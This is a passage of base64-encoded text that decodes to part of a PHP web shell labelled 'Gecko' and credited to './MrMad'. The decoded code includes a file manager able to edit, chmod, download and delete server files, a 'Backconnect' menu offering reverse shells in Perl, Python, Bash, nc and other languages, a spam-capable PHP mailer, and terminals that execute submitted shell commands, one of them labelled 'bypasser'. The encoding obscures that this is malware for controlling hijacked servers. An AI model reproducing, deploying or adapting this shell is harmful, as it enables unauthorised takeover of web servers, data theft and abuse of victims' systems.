0cihQSFBfT1MsICJXSU4iKSkgewogICAgICAgICAgICAgICAgd2luZG93c0RyaXZlcigpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRwd2QgYXMgJGlkID0+ICR2YWwpIHsKICAgICAgICAgICAgICAgIGlmICgkdmFsID09ICcnICYmICRpZCA9PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnJm5ic3A7PGEgaHJlZj0iP2Q9JyAuIGh4KCcvJykgLiAnIj48aSBjbGFzcz0iZmEtc29saWQgZmEtZm9sZGVyLXBsdXMiPjwvaT4mbmJzcDsvIDwvYT4nOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCR2YWwgPT0gJycpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Q9JzsKICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGh4KCRwd2RbJGldKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJGkgIT0gJGlkKSBlY2hvIGh4KCIvIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICciPicgLiAkdmFsIC4gJyAvICcgLiAnPC9hPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPGEgc3R5bGU9J2ZvbnQtd2VpZ2h0OmJvbGQ7IGNvbG9yOm9yYW5nZTsnIGhyZWY9Jz9kPSIgLiBoeChfX0RJUl9fKSAuICInPlsgSE9NRSBTSEVMTCBdPC9hPiZuYnNwOyI7CiAgICAgICAgICAgID8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPC91bD4KICAgICAgICA8dGFibGUgc3R5bGU9IndpZHRoOiAxMDAlOyI+CiAgICAgICAgICAgIDx0aGVhZD4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8L3RoPgogICAgICAgICAgICAgICAgICAgIDx0aD5QZXJtaXNzaW9uPC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+QWN0aW9uPC90aD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGhlYWQ+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAgIDwhLS0gR2Vja28gRm9sZGVyIEZpbGUgTWFuYWdlciAtLT4KICAgICAgICAgICAgICAgICAgICA8P3BocCBmb3JlYWNoICgkZmlsZV9tYW5hZ2VyIGFzICRfRCkgOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGZ1bmdzaVsyXSgkX0QpKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hlY2tbXSIgdmFsdWU9Ijw/PSAkX0QgPz4iPiZuYnNwOzxpIGNsYXNzPSJmYS1zb2xpZCBmYS1mb2xkZXItb3BlbiIgc3R5bGU9ImNvbG9yOm9yYW5nZTsiPjwvaT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpIC4gIi8iIC4gJF9EKTsgPz4iPjw/PSBuYW1hUGFuamFuZygkX0QpOyA/PjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD5bIERJUiBdPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZnVuZ3NpWzRdKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSIjMDBmZjAwIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoISRmdW5nc2lbNV0oJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9EKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEFjdGlvbiBGb2xkZXIgTWFuYWdlciAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSk7ID8+JnJlPTw/PSBoeCgkX0QpID8+IiBjbGFzcz0iYmFkZ2UtYWN0aW9uLWVkaXRvciI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXBlbi10by1zcXVhcmUiPjwvaT48L2E+Jm5ic3A7PGEgaHJlZj0iP2Q9PD89IGh4KCRmdW5nc2lbMF0oKSk7ID8+JmNoPTw/PSBoeCgkX0QpID8+IiBjbGFzcz0iYmFkZ2UtYWN0aW9uLWNobW9kIj48aSBjbGFzcz0iZmEtc29saWQgZmEtdXNlci1wZW4iPjwvaT48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+CiAgICAgICAgICAgICAgICAgICAgPCEtLSBHZWNrbyBGaWxlcyBNYW5hZ2VyIC0tPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmaWxlX21hbmFnZXIgYXMgJF9GKSA6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZnVuZ3NpWzNdKCRfRikpIDogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJjaGVja1tdIiB2YWx1ZT0iPD89ICRfRiA/PiI+Jm5ic3A7PGkgY2xhc3M9ImZhLXNvbGlkIGZhLWZpbGUtbGluZXMiPjwvaT4mbmJzcDs8YSBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKTsgPz4mZj08Pz0gaHgoJF9GKTsgPz4iIGNsYXNzPSJnZWNrby1maWxlcyI+PD89IG5hbWFQYW5qYW5nKCRfRik7ID8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/PSBmb3JtYXRTaXplKGZpbGVzaXplKCRfRikpOyA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoaXNfd3JpdGFibGUoJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9EKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IiMwMGZmMDAiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmICghaXNfcmVhZGFibGUoJGZ1bmdzaVswXSgpIC4gJy8nIC4gJF9GKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRmdW5nc2lbMF0oKSAuICcvJyAuICRfRik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIEFjdGlvbiBGaWxlIE1hbmFnZXIgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZyZT08Pz0gaHgoJF9GKSA/PiIgY2xhc3M9ImJhZGdlLWFjdGlvbi1lZGl0b3IiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1wZW4tdG8tc3F1YXJlIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZjaD08Pz0gaHgoJF9GKSA/PiIgY2xhc3M9ImJhZGdlLWFjdGlvbi1jaG1vZCI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXVzZXItcGVuIj48L2k+PC9hPiZuYnNwOzxhIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpOyA/PiZkb249PD89IGh4KCRfRikgPz4iIGNsYXNzPSJiYWRnZS1hY3Rpb24tZG93bmxvYWQiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1kb3dubG9hZCI+PC9pPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgPC90YWJsZT4KICAgICAgICA8YnI+CiAgICAgICAgPHNlbGVjdCBuYW1lPSJnZWNrby1zZWxlY3QiIGNsYXNzPSJidG4tc3VibWl0Ij4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idW56aXAiPlVuemlwPC9vcHRpb24+CiAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InppcCI+WmlwPC9vcHRpb24+PGJyPgogICAgICAgIDwvc2VsZWN0PgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1hY3Rpb24iIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tc3VibWl0IiBzdHlsZT0icGFkZGluZzogOC4zcHggMzVweDsiPgogICAgICAgIDwvZm9ybT4KCiAgICAgICAgPCEtLSBNb2RhbCBQb3AgSnF1ZXJ5IENyZWF0ZSBGb2xkZXIvRmlsZSBCeSAuL01yTWFkIC0tPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+JHt0aGlzLnRpdGxlfTwvaT48L2I+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im1vZGFsLWJvZHktYmMiPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0ibW9kYWwtaW5wdXQiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciPiZuYnNwOzxidXR0b24gY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBpZD0iY2xvc2UtbW9kYWwiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8P3BocCBpZiAoaXNzZXQoJF9HRVRbJ2JhY2tjb25uZWN0J10pKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwgYWN0aXZlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGgzPjxiPjxpIGlkPSJtb2RhbC10aXRsZSI+OjogQmFja2Nvbm5lY3Q8L2k+PC9iPjwvaDM+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPSJiYy1nZWNrbyBib3gtc2hhZG93IiBuYW1lPSJnZWNrby1iYyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSItIj5DaG9vc2UgQmFja2Nvbm5lY3Q8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InBlcmwiPlBlcmw8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InB5dGhvbiI+UHl0aG9uPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJydWJ5Ij5SdWJ5PC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJiYXNoIj5CYXNoPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwaHAiPnBocDwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibmMiPm5jPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJzaCI+c2g8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Inh0ZXJtIj5YdGVybTwvb3B0aW9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iZ29sYW5nIj5Hb2xhbmc8L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9zZWxlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJiYWNrY29ubmVjdC1ob3N0IiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0iMTI3LjAuMC4xIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJyPjxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgbmFtZT0iYmFja2Nvbm5lY3QtcG9ydCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IjEzMzciPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1idG4tZm9ybSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtYmMiIHZhbHVlPSJTdWJtaXQiIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UgYm94LXNoYWRvdyI+Jm5ic3A7PGEgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93IiBocmVmPSI/ZD08Pz0gaHgoJGZ1bmdzaVswXSgpKSA/PiI+Q2xvc2U8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKGlzc2V0KCRfR0VUWydtYWlsZXInXSkpIDogPz4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBhY3RpdmUiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICA8aDM+PGI+PGkgaWQ9Im1vZGFsLXRpdGxlIj46OiBQSFAgTWFpbGVyPC9pPjwvYj48L2gzPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaXNpIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLW1haWwtdGV4dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJtZXNzYWdlLXNtdHAiIGNsYXNzPSJib3gtc2hhZG93IG1haWwiIHBsYWNlaG9sZGVyPSImbmJzcDtZb3VyIFRleHQgaGVyZSEiPjwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJtYWlsdG8tc3ViamVjdCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9IlN1YmplY3QiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImVtYWlsIiBuYW1lPSJtYWlsLWZyb20tc210cCIgY2xhc3M9Im1vZGFsLWNyZWF0ZS1pbnB1dCIgcGxhY2Vob2xkZXI9ImZyb20gOiBleGFtcGxlQG1haWwuY29tIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJlbWFpbCIgbmFtZT0ibWFpbC10by1zbXRwIiBjbGFzcz0ibW9kYWwtY3JlYXRlLWlucHV0IiBwbGFjZWhvbGRlcj0idG8gOiBleGFtcGxlQG1haWwuY29tIj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJ0bi1mb3JtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgY2xhc3M9ImJ0bi1tb2RhbC1jbG9zZSBib3gtc2hhZG93Ij4mbmJzcDs8YSBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIGJveC1zaGFkb3ciIGhyZWY9Ij9kPTw/PSBoeCgkZnVuZ3NpWzBdKCkpID8+Ij5DbG9zZTwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ2YnXSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNvZGUtZWRpdG9yIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29kZS1lZGl0b3ItY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvZGUtZWRpdG9yLWhlYWQiPgogICAgICAgICAgICAgICAgICAgIDxoMz48aSBjbGFzcz0iZmEtc29saWQgZmEtY29kZSI+PC9pPiZuYnNwOyBDb2RlIEVkaXRvciA6IDw/PSB1bngoJF9HRVRbJ2YnXSk7ID8+PC9oMz4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29kZS1lZGl0b3ItYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb2RlLWVkaXRvciIgY2xhc3M9ImJveC1zaGFkb3ciIGF1dG9mb2N1cz48Pz0gJGZ1bmdzaVsxMF0oJGZ1bmdzaVsxMV0oJGZ1bmdzaVswXSgpIC4gIi8iIC4gdW54KCRfR0VUWydmJ10pKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYnRuLWZvcm0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic2F2ZS1lZGl0b3IiIHZhbHVlPSJTYXZlIiBjbGFzcz0iYnRuLW1vZGFsLWNsb3NlIj4mbmJzcDs8YnV0dG9uIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiIGlkPSJjbG9zZS1lZGl0b3IiPkNsb3NlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/PgogICAgPD9waHAgaWYgKCRfR0VUWyd0ZXJtaW5hbCddID09ICJub3JtYWwiKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1jb250YWluZXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtaGVhZCI+CiAgICAgICAgICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgICAgICAgICA8bGkgaWQ9InRlcm1pbmFsLXRpdGxlIj48Yj48aSBjbGFzcz0iZmEtc29saWQgZmEtdGVybWluYWwiPjwvaT4mbmJzcDtURVJNSU5BTDwvYj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGEgaHJlZj0iIiBjbGFzcz0iY2xvc2UtdGVybWluYWwiPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS1yaWdodC1mcm9tLWJyYWNrZXQiPjwvaT48L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9ImJveC1zaGFkb3ciIGRpc2FibGVkPjw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRmdW5nc2lbMTBdKGNtZCgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSAuICIgMj4mMSIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PjwvdGV4dGFyZWE+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVybWluYWwtdGV4dCIgY2xhc3M9InRlcm1pbmFsLWlucHV0IGJveC1zaGFkb3ciIHBsYWNlaG9sZGVyPSI8Pz0gJGZ1bmdzaVs5XSgpIC4gIkAiIC4gJF9TRVJWRVJbIlx4NTNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDQxXHg0NFx4NDRceDUyIl07ID8+IiBhdXRvZm9jdXM+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ0ZXJtaW5hbCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4tbW9kYWwtY2xvc2UiPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPD9waHAgZW5kaWY7ID8+CiAgICA8P3BocCBpZiAoJF9HRVRbJ3Rlcm1pbmFsJ10gPT0gImJ5cGFzc2VyIikgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsLWhlYWQiPgogICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGlkPSJ0ZXJtaW5hbC10aXRsZSI+PGI+PGkgY2xhc3M9ImZhLXNvbGlkIGZhLXRlcm1pbmFsIj48L2k+Jm5ic3A7VEVSTUlOQUw8L2I+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9IiIgY2xhc3M9ImNsb3NlLXRlcm1pbmFsIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcmlnaHQtZnJvbS1icmFja2V0Ij48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGVybWluYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIGNsYXNzPSJib3gtc2hhZG93IiBkaXNhYmxlZD48P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZ1bmdzaVszXSgnLnRlcm0tYnlwYXNzJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGluY2x1ZGUoIi50ZXJtLWJ5cGFzcyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsndGVybWluYWwtYnlwYXNzLXN1Ym1pdCddKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGZ1bmdzaVsxMF0ocHduKCRfUE9TVFsndGVybWluYWwtYnlwYXNzJ10gLiAiIDI+JjEiKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz48L3RleHRhcmVhPgogICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InR